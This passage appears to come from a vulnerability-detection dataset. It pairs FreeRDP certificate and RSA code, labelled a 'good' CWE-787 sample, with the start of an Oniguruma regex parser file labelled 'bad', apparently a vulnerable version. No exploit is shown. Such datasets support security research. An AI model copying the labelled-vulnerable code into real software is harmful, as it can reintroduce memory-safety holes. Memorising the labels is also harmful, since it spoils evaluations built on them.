fail_bn_exp; if (!(x = BN_new())) goto fail_bn_x; if (!(y = BN_new())) goto fail_bn_y; if (!BN_bin2bn(modulus_reverse, key_length, mod)) goto fail; if (!BN_bin2bn(exponent_reverse, exponent_size, exp)) goto fail; if (!BN_bin2bn(input_reverse, length, x)) goto fail; if (BN_mod_exp(y, x, exp, mod, ctx) != 1) goto fail; output_length = BN_bn2bin(y, output); if (output_length < 0) goto fail; crypto_reverse(output, output_length); if (output_length < key_length) memset(output + output_length, 0, key_length - output_length); fail: BN_free(y); fail_bn_y: BN_clear_free(x); fail_bn_x: BN_free(exp); fail_bn_exp: BN_free(mod); fail_bn_mod: BN_CTX_free(ctx); fail_bn_ctx: free(input_reverse); return output_length; } static int crypto_rsa_public(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* exponent, BYTE* output) { return crypto_rsa_common(input, length, key_length, modulus, exponent, EXPONENT_MAX_SIZE, output); } static int crypto_rsa_private(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* private_exponent, BYTE* output) { return crypto_rsa_common(input, length, key_length, modulus, private_exponent, key_length, output); } int crypto_rsa_public_encrypt(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* exponent, BYTE* output) { return crypto_rsa_public(input, length, key_length, modulus, exponent, output); } int crypto_rsa_public_decrypt(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* exponent, BYTE* output) { return crypto_rsa_public(input, length, key_length, modulus, exponent, output); } int crypto_rsa_private_encrypt(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* private_exponent, BYTE* output) { return crypto_rsa_private(input, length, key_length, modulus, private_exponent, output); } int crypto_rsa_private_decrypt(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* private_exponent, BYTE* output) { return crypto_rsa_private(input, length, key_length, modulus, private_exponent, output); } static int crypto_rsa_decrypt(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus, const BYTE* private_exponent, BYTE* output) { return crypto_rsa_common(input, length, key_length, modulus, private_exponent, key_length, output); } void crypto_reverse(BYTE* data, int length) { int i, j; BYTE temp; for (i = 0, j = length - 1; i < j; i++, j--) { temp = data[i]; data[i] = data[j]; data[j] = temp; } } char* crypto_cert_fingerprint(X509* xcert) { return crypto_cert_fingerprint_by_hash(xcert, "sha256"); } BYTE* crypto_cert_hash(X509* xcert, const char* hash, UINT32* length) { UINT32 fp_len = EVP_MAX_MD_SIZE; BYTE* fp; const EVP_MD* md = EVP_get_digestbyname(hash); if (!md) return NULL; if (!length) return NULL; if (!xcert) return NULL; fp = calloc(fp_len, sizeof(BYTE)); if (!fp) return NULL; if (X509_digest(xcert, md, fp, &fp_len) != 1) { free(fp); return NULL; } *length = fp_len; return fp; } char* crypto_cert_fingerprint_by_hash(X509* xcert, const char* hash) { UINT32 fp_len, i; BYTE* fp; char* p; char* fp_buffer; fp = crypto_cert_hash(xcert, hash, &fp_len); if (!fp) return NULL; fp_buffer = calloc(fp_len * 3 + 1, sizeof(char)); if (!fp_buffer) goto fail; p = fp_buffer; for (i = 0; i < (fp_len - 1); i++) { sprintf_s(p, (fp_len - i) * 3, "%02" PRIx8 ":", fp[i]); p = &fp_buffer[(i + 1) * 3]; } sprintf_s(p, (fp_len - i) * 3, "%02" PRIx8 "", fp[i]); fail: free(fp); return fp_buffer; } static char* crypto_print_name(X509_NAME* name) { char* buffer = NULL; BIO* outBIO = BIO_new(BIO_s_mem()); if (X509_NAME_print_ex(outBIO, name, 0, XN_FLAG_ONELINE) > 0) { unsigned long size = BIO_number_written(outBIO); buffer = calloc(1, size + 1); if (!buffer) return NULL; BIO_read(outBIO, buffer, size); } BIO_free_all(outBIO); return buffer; } char* crypto_cert_subject(X509* xcert) { return crypto_print_name(X509_get_subject_name(xcert)); } char* crypto_cert_subject_common_name(X509* xcert, int* length) { int index; BYTE* common_name_raw; char* common_name; X509_NAME* subject_name; X509_NAME_ENTRY* entry; ASN1_STRING* entry_data; subject_name = X509_get_subject_name(xcert); if (subject_name == NULL) return NULL; index = X509_NAME_get_index_by_NID(subject_name, NID_commonName, -1); if (index < 0) return NULL; entry = X509_NAME_get_entry(subject_name, index); if (entry == NULL) return NULL; entry_data = X509_NAME_ENTRY_get_data(entry); if (entry_data == NULL) return NULL; *length = ASN1_STRING_to_UTF8(&common_name_raw, entry_data); if (*length < 0) return NULL; common_name = _strdup((char*)common_name_raw); OPENSSL_free(common_name_raw); return (char*)common_name; } /* GENERAL_NAME type labels */ static const char* general_name_type_labels[] = { "OTHERNAME", "EMAIL ", "DNS ", "X400 ", "DIRNAME ", "EDIPARTY ", "URI ", "IPADD ", "RID " }; static const char* general_name_type_label(int general_name_type) { if ((0 <= general_name_type) && ((size_t)general_name_type < ARRAYSIZE(general_name_type_labels))) { return general_name_type_labels[general_name_type]; } else { static char buffer[80]; sprintf(buffer, "Unknown general name type (%d)", general_name_type); return buffer; } } /* map_subject_alt_name(x509, general_name_type, mapper, data) Call the function mapper with subjectAltNames found in the x509 certificate and data. if generate_name_type is GEN_ALL, the the mapper is called for all the names, else it's called only for names of the given type. We implement two extractors: - a string extractor that can be used to get the subjectAltNames of the following types: GEN_URI, GEN_DNS, GEN_EMAIL - a ASN1_OBJECT filter/extractor that can be used to get the subjectAltNames of OTHERNAME type. Note: usually, it's a string, but some type of otherNames can be associated with different classes of objects. eg. a KPN may be a sequence of realm and principal name, instead of a single string object. Not implemented yet: extractors for the types: GEN_X400, GEN_DIRNAME, GEN_EDIPARTY, GEN_RID, GEN_IPADD (the later can contain nul-bytes). mapper(name, data, index, count) The mapper is passed: - the GENERAL_NAME selected, - the data, - the index of the general name in the subjectAltNames, - the total number of names in the subjectAltNames. The last parameter let's the mapper allocate arrays to collect objects. Note: if names are filtered, not all the indices from 0 to count-1 are passed to mapper, only the indices selected. When the mapper returns 0, map_subject_alt_name stops the iteration immediately. */ #define GEN_ALL (-1) typedef int (*general_name_mapper_pr)(GENERAL_NAME* name, void* data, int index, int count); static void map_subject_alt_name(X509* x509, int general_name_type, general_name_mapper_pr mapper, void* data) { int i; int num; STACK_OF(GENERAL_NAME) * gens; gens = X509_get_ext_d2i(x509, NID_subject_alt_name, NULL, NULL); if (!gens) { return; } num = sk_GENERAL_NAME_num(gens); for (i = 0; (i < num); i++) { GENERAL_NAME* name = sk_GENERAL_NAME_value(gens, i); if (name) { if ((general_name_type == GEN_ALL) || (general_name_type == name->type)) { if (!mapper(name, data, i, num)) { break; } } } } sk_GENERAL_NAME_pop_free(gens, GENERAL_NAME_free); } /* extract_string -- string extractor - the strings array is allocated lazily, when we first have to store a string. - allocated contains the size of the strings array, or -1 if allocation failed. - count contains the actual count of strings in the strings array. - maximum limits the number of strings we can store in the strings array: beyond, the extractor returns 0 to short-cut the search. extract_string stores in the string list OPENSSL strings, that must be freed with OPENSSL_free. */ typedef struct string_list { char** strings; int allocated; int count; int maximum; } string_list; static void string_list_initialize(string_list* list) { list->strings = 0; list->allocated = 0; list->count = 0; list->maximum = INT_MAX; } static void string_list_allocate(string_list* list, int allocate_count) { if (!list->strings && list->allocated == 0) { list->strings = calloc((size_t)allocate_count, sizeof(char*)); list->allocated = list->strings ? allocate_count : -1; list->count = 0; } } static void string_list_free(string_list* list) { /* Note: we don't free the contents of the strings array: this */ /* is handled by the caller, either by returning this */ /* content, or freeing it itself. */ free(list->strings); } static int extract_string(GENERAL_NAME* name, void* data, int index, int count) { string_list* list = data; unsigned char* cstring = 0; ASN1_STRING* str; switch (name->type) { case GEN_URI: str = name->d.uniformResourceIdentifier; break; case GEN_DNS: str = name->d.dNSName; break; case GEN_EMAIL: str = name->d.rfc822Name; break; default: return 1; } if ((ASN1_STRING_to_UTF8(&cstring, str)) < 0) { WLog_ERR(TAG, "ASN1_STRING_to_UTF8() failed for %s: %s", general_name_type_label(name->type), ERR_error_string(ERR_get_error(), NULL)); return 1; } string_list_allocate(list, count); if (list->allocated <= 0) { OPENSSL_free(cstring); return 0; } list->strings[list->count] = (char*)cstring; list->count++; if (list->count >= list->maximum) { return 0; } return 1; } /* extract_othername_object -- object extractor. - the objects array is allocated lazily, when we first have to store a string. - allocated contains the size of the objects array, or -1 if allocation failed. - count contains the actual count of objects in the objects array. - maximum limits the number of objects we can store in the objects array: beyond, the extractor returns 0 to short-cut the search. extract_othername_objects stores in the objects array ASN1_TYPE * pointers directly obtained from the GENERAL_NAME. */ typedef struct object_list { ASN1_OBJECT* type_id; char** strings; int allocated; int count; int maximum; } object_list; static void object_list_initialize(object_list* list) { list->type_id = 0; list->strings = 0; list->allocated = 0; list->count = 0; list->maximum = INT_MAX; } static void object_list_allocate(object_list* list, int allocate_count) { if (!list->strings && list->allocated == 0) { list->strings = calloc(allocate_count, sizeof(list->strings[0])); list->allocated = list->strings ? allocate_count : -1; list->count = 0; } } static char* object_string(ASN1_TYPE* object) { char* result; unsigned char* utf8String; int length; /* TODO: check that object.type is a string type. */ length = ASN1_STRING_to_UTF8(&utf8String, object->value.asn1_string); if (length < 0) { return 0; } result = (char*)_strdup((char*)utf8String); OPENSSL_free(utf8String); return result; } static void object_list_free(object_list* list) { free(list->strings); } static int extract_othername_object_as_string(GENERAL_NAME* name, void* data, int index, int count) { object_list* list = data; if (name->type != GEN_OTHERNAME) { return 1; } if (0 != OBJ_cmp(name->d.otherName->type_id, list->type_id)) { return 1; } object_list_allocate(list, count); if (list->allocated <= 0) { return 0; } list->strings[list->count] = object_string(name->d.otherName->value); if (list->strings[list->count]) { list->count++; } if (list->count >= list->maximum) { return 0; } return 1; } /* crypto_cert_get_email returns a dynamically allocated copy of the first email found in the subjectAltNames (use free to free it). */ char* crypto_cert_get_email(X509* x509) { char* result = 0; string_list list; string_list_initialize(&list); list.maximum = 1; map_subject_alt_name(x509, GEN_EMAIL, extract_string, &list); if (list.count == 0) { string_list_free(&list); return 0; } result = _strdup(list.strings[0]); OPENSSL_free(list.strings[0]); string_list_free(&list); return result; } /* crypto_cert_get_upn returns a dynamically allocated copy of the first UPN otherNames in the subjectAltNames (use free to free it). Note: if this first UPN otherName is not a string, then 0 is returned, instead of searching for another UPN that would be a string. */ char* crypto_cert_get_upn(X509* x509) { char* result = 0; object_list list; object_list_initialize(&list); list.type_id = OBJ_nid2obj(NID_ms_upn); list.maximum = 1; map_subject_alt_name(x509, GEN_OTHERNAME, extract_othername_object_as_string, &list); if (list.count == 0) { object_list_free(&list); return 0; } result = list.strings[0]; object_list_free(&list); return result; } /* Deprecated name.*/ void crypto_cert_subject_alt_name_free(int count, int* lengths, char** alt_names) { crypto_cert_dns_names_free(count, lengths, alt_names); } void crypto_cert_dns_names_free(int count, int* lengths, char** dns_names) { free(lengths); if (dns_names) { int i; for (i = 0; i < count; i++) { if (dns_names[i]) { OPENSSL_free(dns_names[i]); } } free(dns_names); } } /* Deprecated name.*/ char** crypto_cert_subject_alt_name(X509* xcert, int* count, int** lengths) { return crypto_cert_get_dns_names(xcert, count, lengths); } char** crypto_cert_get_dns_names(X509* x509, int* count, int** lengths) { int i; char** result = 0; string_list list; string_list_initialize(&list); map_subject_alt_name(x509, GEN_DNS, extract_string, &list); (*count) = list.count; if (list.count == 0) { string_list_free(&list); return NULL; } /* lengths are not useful, since we converted the strings to utf-8, there cannot be nul-bytes in them. */ result = calloc(list.count, sizeof(*result)); (*lengths) = calloc(list.count, sizeof(**lengths)); if (!result || !(*lengths)) { string_list_free(&list); free(result); free(*lengths); (*lengths) = 0; (*count) = 0; return NULL; } for (i = 0; i < list.count; i++) { result[i] = list.strings[i]; (*lengths)[i] = strlen(result[i]); } string_list_free(&list); return result; } char* crypto_cert_issuer(X509* xcert) { return crypto_print_name(X509_get_issuer_name(xcert)); } static int verify_cb(int ok, X509_STORE_CTX* csc) { if (ok != 1) { int err = X509_STORE_CTX_get_error(csc); int derr = X509_STORE_CTX_get_error_depth(csc); X509* where = X509_STORE_CTX_get_current_cert(csc); const char* what = X509_verify_cert_error_string(err); char* name = crypto_cert_subject(where); WLog_WARN(TAG, "Certificate verification failure '%s (%d)' at stack position %d", what, err, derr); WLog_WARN(TAG, "%s", name); free(name); } return ok; } BOOL x509_verify_certificate(CryptoCert cert, const char* certificate_store_path) { size_t i; const int purposes[3] = { X509_PURPOSE_SSL_SERVER, X509_PURPOSE_SSL_CLIENT, X509_PURPOSE_ANY }; X509_STORE_CTX* csc; BOOL status = FALSE; X509_STORE* cert_ctx = NULL; X509_LOOKUP* lookup = NULL; cert_ctx = X509_STORE_new(); if (cert_ctx == NULL) goto end; #if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER) OpenSSL_add_all_algorithms(); #else OPENSSL_init_crypto(OPENSSL_INIT_ADD_ALL_CIPHERS | OPENSSL_INIT_ADD_ALL_DIGESTS | OPENSSL_INIT_LOAD_CONFIG, NULL); #endif lookup = X509_STORE_add_lookup(cert_ctx, X509_LOOKUP_file()); if (lookup == NULL) goto end; lookup = X509_STORE_add_lookup(cert_ctx, X509_LOOKUP_hash_dir()); if (lookup == NULL) goto end; X509_LOOKUP_add_dir(lookup, NULL, X509_FILETYPE_DEFAULT); if (certificate_store_path != NULL) { X509_LOOKUP_add_dir(lookup, certificate_store_path, X509_FILETYPE_PEM); } X509_STORE_set_flags(cert_ctx, 0); for (i = 0; i < ARRAYSIZE(purposes); i++) { int rc = -1; int purpose = purposes[i]; csc = X509_STORE_CTX_new(); if (csc == NULL) goto skip; if (!X509_STORE_CTX_init(csc, cert_ctx, cert->px509, cert->px509chain)) goto skip; X509_STORE_CTX_set_purpose(csc, purpose); X509_STORE_CTX_set_verify_cb(csc, verify_cb); rc = X509_verify_cert(csc); skip: X509_STORE_CTX_free(csc); if (rc == 1) { status = TRUE; break; } } X509_STORE_free(cert_ctx); end: return status; } rdpCertificateData* crypto_get_certificate_data(X509* xcert, const char* hostname, UINT16 port) { char* issuer; char* subject; char* fp; rdpCertificateData* certdata; fp = crypto_cert_fingerprint(xcert); if (!fp) return NULL; issuer = crypto_cert_issuer(xcert); subject = crypto_cert_subject(xcert); certdata = certificate_data_new(hostname, port, issuer, subject, fp); free(subject); free(issuer); free(fp); return certdata; } void crypto_cert_print_info(X509* xcert) { char* fp; char* issuer; char* subject; subject = crypto_cert_subject(xcert); issuer = crypto_cert_issuer(xcert); fp = crypto_cert_fingerprint(xcert); if (!fp) { WLog_ERR(TAG, "error computing fingerprint"); goto out_free_issuer; } WLog_INFO(TAG, "Certificate details:"); WLog_INFO(TAG, "\tSubject: %s", subject); WLog_INFO(TAG, "\tIssuer: %s", issuer); WLog_INFO(TAG, "\tThumbprint: %s", fp); WLog_INFO(TAG, "The above X.509 certificate could not be verified, possibly because you do not have " "the CA certificate in your certificate store, or the certificate has expired. " "Please look at the OpenSSL documentation on how to add a private CA to the store."); free(fp); out_free_issuer: free(issuer); free(subject); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4028_0
crossvul-cpp_data_bad_3374_0
/********************************************************************** regparse.c - Oniguruma (regular expression library) **********************************************************************/ /*- * Copyright (c) 2002-2016 K.Kosako <sndgk393 AT ybb DOT ne DOT jp> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "regparse.h" #include "st.h" #ifdef DEBUG_NODE_FREE #include <stdio.h> #endif #define WARN_BUFSIZE 256 #define CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS OnigSyntaxType OnigSyntaxRuby = { (( SYN_GNU_REGEX_OP | ONIG_SYN_OP_QMARK_NON_GREEDY | ONIG_SYN_OP_ESC_OCTAL3 | ONIG_SYN_OP_ESC_X_HEX2 | ONIG_SYN_OP_ESC_X_BRACE_HEX8 | ONIG_SYN_OP_ESC_CONTROL_CHARS | ONIG_SYN_OP_ESC_C_CONTROL ) & ~ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END ) , ( ONIG_SYN_OP2_QMARK_GROUP_EFFECT | ONIG_SYN_OP2_OPTION_RUBY | ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP | ONIG_SYN_OP2_ESC_K_NAMED_BACKREF | ONIG_SYN_OP2_ESC_G_SUBEXP_CALL | ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY | ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT | ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT | ONIG_SYN_OP2_CCLASS_SET_OP | ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL | ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META | ONIG_SYN_OP2_ESC_V_VTAB | ONIG_SYN_OP2_ESC_H_XDIGIT ) , ( SYN_GNU_REGEX_BV | ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV | ONIG_SYN_DIFFERENT_LEN_ALT_LOOK_BEHIND | ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP | ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME | ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY | ONIG_SYN_WARN_CC_OP_NOT_ESCAPED | ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT ) , ONIG_OPTION_NONE , { (OnigCodePoint )'\\' /* esc */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar '.' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anytime '*' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* zero or one time '?' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* one or more time '+' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar anytime */ } }; OnigSyntaxType* OnigDefaultSyntax = ONIG_SYNTAX_RUBY; extern void onig_null_warn(const char* s ARG_UNUSED) { } #ifdef DEFAULT_WARN_FUNCTION static OnigWarnFunc onig_warn = (OnigWarnFunc )DEFAULT_WARN_FUNCTION; #else static OnigWarnFunc onig_warn = onig_null_warn; #endif #ifdef DEFAULT_VERB_WARN_FUNCTION static OnigWarnFunc onig_verb_warn = (OnigWarnFunc )DEFAULT_VERB_WARN_FUNCTION; #else static OnigWarnFunc onig_verb_warn = onig_null_warn; #endif extern void onig_set_warn_func(OnigWarnFunc f) { onig_warn = f; } extern void onig_set_verb_warn_func(OnigWarnFunc f) { onig_verb_warn = f; } extern void onig_warning(const char* s) { if (onig_warn == onig_null_warn) return ; (*onig_warn)(s); } #define DEFAULT_MAX_CAPTURE_NUM 32767 static int MaxCaptureNum = DEFAULT_MAX_CAPTURE_NUM; extern int onig_set_capture_num_limit(int num) { if (num < 0) return -1; MaxCaptureNum = num; return 0; } static unsigned int ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; extern unsigned int onig_get_parse_depth_limit(void) { return ParseDepthLimit; } extern int onig_set_parse_depth_limit(unsigned int depth) { if (depth == 0) ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; else ParseDepthLimit = depth; return 0; } static void bbuf_free(BBuf* bbuf) { if (IS_NOT_NULL(bbuf)) { if (IS_NOT_NULL(bbuf->p)) xfree(bbuf->p); xfree(bbuf); } } static int bbuf_clone(BBuf** rto, BBuf* from) { int r; BBuf *to; *rto = to = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(to); r = BBUF_INIT(to, from->alloc); if (r != 0) return r; to->used = from->used; xmemcpy(to->p, from->p, from->used); return 0; } #define BACKREF_REL_TO_ABS(rel_no, env) \ ((env)->num_mem + 1 + (rel_no)) #define ONOFF(v,f,negative) (negative) ? ((v) &= ~(f)) : ((v) |= (f)) #define MBCODE_START_POS(enc) \ (OnigCodePoint )(ONIGENC_MBC_MINLEN(enc) > 1 ? 0 : 0x80) #define SET_ALL_MULTI_BYTE_RANGE(enc, pbuf) \ add_code_range_to_buf(pbuf, MBCODE_START_POS(enc), ~((OnigCodePoint )0)) #define ADD_ALL_MULTI_BYTE_RANGE(enc, mbuf) do {\ if (! ONIGENC_IS_SINGLEBYTE(enc)) {\ r = SET_ALL_MULTI_BYTE_RANGE(enc, &(mbuf));\ if (r) return r;\ }\ } while (0) #define BITSET_IS_EMPTY(bs,empty) do {\ int i;\ empty = 1;\ for (i = 0; i < (int )BITSET_SIZE; i++) {\ if ((bs)[i] != 0) {\ empty = 0; break;\ }\ }\ } while (0) static void bitset_set_range(BitSetRef bs, int from, int to) { int i; for (i = from; i <= to && i < SINGLE_BYTE_SIZE; i++) { BITSET_SET_BIT(bs, i); } } #if 0 static void bitset_set_all(BitSetRef bs) { int i; for (i = 0; i < BITSET_SIZE; i++) { bs[i] = ~((Bits )0); } } #endif static void bitset_invert(BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { bs[i] = ~(bs[i]); } } static void bitset_invert_to(BitSetRef from, BitSetRef to) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { to[i] = ~(from[i]); } } static void bitset_and(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] &= bs[i]; } } static void bitset_or(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] |= bs[i]; } } static void bitset_copy(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] = bs[i]; } } extern int onig_strncmp(const UChar* s1, const UChar* s2, int n) { int x; while (n-- > 0) { x = *s2++ - *s1++; if (x) return x; } return 0; } extern void onig_strcpy(UChar* dest, const UChar* src, const UChar* end) { int len = end - src; if (len > 0) { xmemcpy(dest, src, len); dest[len] = (UChar )0; } } #ifdef USE_NAMED_GROUP static UChar* strdup_with_null(OnigEncoding enc, UChar* s, UChar* end) { int slen, term_len, i; UChar *r; slen = end - s; term_len = ONIGENC_MBC_MINLEN(enc); r = (UChar* )xmalloc(slen + term_len); CHECK_NULL_RETURN(r); xmemcpy(r, s, slen); for (i = 0; i < term_len; i++) r[slen + i] = (UChar )0; return r; } #endif /* scan pattern methods */ #define PEND_VALUE 0 #define PFETCH_READY UChar* pfetch_prev #define PEND (p < end ? 0 : 1) #define PUNFETCH p = pfetch_prev #define PINC do { \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PINC_S do { \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH_S(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PPEEK (p < end ? ONIGENC_MBC_TO_CODE(enc, p, end) : PEND_VALUE) #define PPEEK_IS(c) (PPEEK == (OnigCodePoint )c) static UChar* strcat_capa(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; if (dest) r = (UChar* )xrealloc(dest, capa + 1); else r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } /* dest on static area */ static UChar* strcat_capa_from_static(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r, dest, dest_end); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } #ifdef USE_ST_LIBRARY typedef struct { UChar* s; UChar* end; } st_str_end_key; static int str_end_cmp(st_str_end_key* x, st_str_end_key* y) { UChar *p, *q; int c; if ((x->end - x->s) != (y->end - y->s)) return 1; p = x->s; q = y->s; while (p < x->end) { c = (int )*p - (int )*q; if (c != 0) return c; p++; q++; } return 0; } static int str_end_hash(st_str_end_key* x) { UChar *p; int val = 0; p = x->s; while (p < x->end) { val = val * 997 + (int )*p++; } return val + (val >> 5); } extern hash_table_type* onig_st_init_strend_table_with_size(int size) { static struct st_hash_type hashType = { str_end_cmp, str_end_hash, }; return (hash_table_type* ) onig_st_init_table_with_size(&hashType, size); } extern int onig_st_lookup_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type *value) { st_str_end_key key; key.s = (UChar* )str_key; key.end = (UChar* )end_key; return onig_st_lookup(table, (st_data_t )(&key), value); } extern int onig_st_insert_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type value) { st_str_end_key* key; int result; key = (st_str_end_key* )xmalloc(sizeof(st_str_end_key)); key->s = (UChar* )str_key; key->end = (UChar* )end_key; result = onig_st_insert(table, (st_data_t )key, value); if (result) { xfree(key); } return result; } #endif /* USE_ST_LIBRARY */ #ifdef USE_NAMED_GROUP #define INIT_NAME_BACKREFS_ALLOC_NUM 8 typedef struct { UChar* name; int name_len; /* byte length */ int back_num; /* number of backrefs */ int back_alloc; int back_ref1; int* back_refs; } NameEntry; #ifdef USE_ST_LIBRARY typedef st_table NameTable; typedef st_data_t HashDataType; /* 1.6 st.h doesn't define st_data_t type */ #define NAMEBUF_SIZE 24 #define NAMEBUF_SIZE_1 25 #ifdef ONIG_DEBUG static int i_print_name_entry(UChar* key, NameEntry* e, void* arg) { int i; FILE* fp = (FILE* )arg; fprintf(fp, "%s: ", e->name); if (e->back_num == 0) fputs("-", fp); else if (e->back_num == 1) fprintf(fp, "%d", e->back_ref1); else { for (i = 0; i < e->back_num; i++) { if (i > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[i]); } } fputs("\n", fp); return ST_CONTINUE; } extern int onig_print_names(FILE* fp, regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { fprintf(fp, "name table\n"); onig_st_foreach(t, i_print_name_entry, (HashDataType )fp); fputs("\n", fp); } return 0; } #endif /* ONIG_DEBUG */ static int i_free_name_entry(UChar* key, NameEntry* e, void* arg ARG_UNUSED) { xfree(e->name); if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); xfree(key); xfree(e); return ST_DELETE; } static int names_clear(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_free_name_entry, 0); } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) onig_st_free_table(t); reg->name_table = (void* )NULL; return 0; } static NameEntry* name_find(regex_t* reg, const UChar* name, const UChar* name_end) { NameEntry* e; NameTable* t = (NameTable* )reg->name_table; e = (NameEntry* )NULL; if (IS_NOT_NULL(t)) { onig_st_lookup_strend(t, name, name_end, (HashDataType* )((void* )(&e))); } return e; } typedef struct { int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*); regex_t* reg; void* arg; int ret; OnigEncoding enc; } INamesArg; static int i_names(UChar* key ARG_UNUSED, NameEntry* e, INamesArg* arg) { int r = (*(arg->func))(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), arg->reg, arg->arg); if (r != 0) { arg->ret = r; return ST_STOP; } return ST_CONTINUE; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { INamesArg narg; NameTable* t = (NameTable* )reg->name_table; narg.ret = 0; if (IS_NOT_NULL(t)) { narg.func = func; narg.reg = reg; narg.arg = arg; narg.enc = reg->enc; /* should be pattern encoding. */ onig_st_foreach(t, i_names, (HashDataType )&narg); } return narg.ret; } static int i_renumber_name(UChar* key ARG_UNUSED, NameEntry* e, GroupNumRemap* map) { int i; if (e->back_num > 1) { for (i = 0; i < e->back_num; i++) { e->back_refs[i] = map[e->back_refs[i]].new_val; } } else if (e->back_num == 1) { e->back_ref1 = map[e->back_ref1].new_val; } return ST_CONTINUE; } extern int onig_renumber_name_table(regex_t* reg, GroupNumRemap* map) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_renumber_name, (HashDataType )map); } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num_entries; else return 0; } #else /* USE_ST_LIBRARY */ #define INIT_NAMES_ALLOC_NUM 8 typedef struct { NameEntry* e; int num; int alloc; } NameTable; #ifdef ONIG_DEBUG extern int onig_print_names(FILE* fp, regex_t* reg) { int i, j; NameEntry* e; NameTable* t = (NameTable* 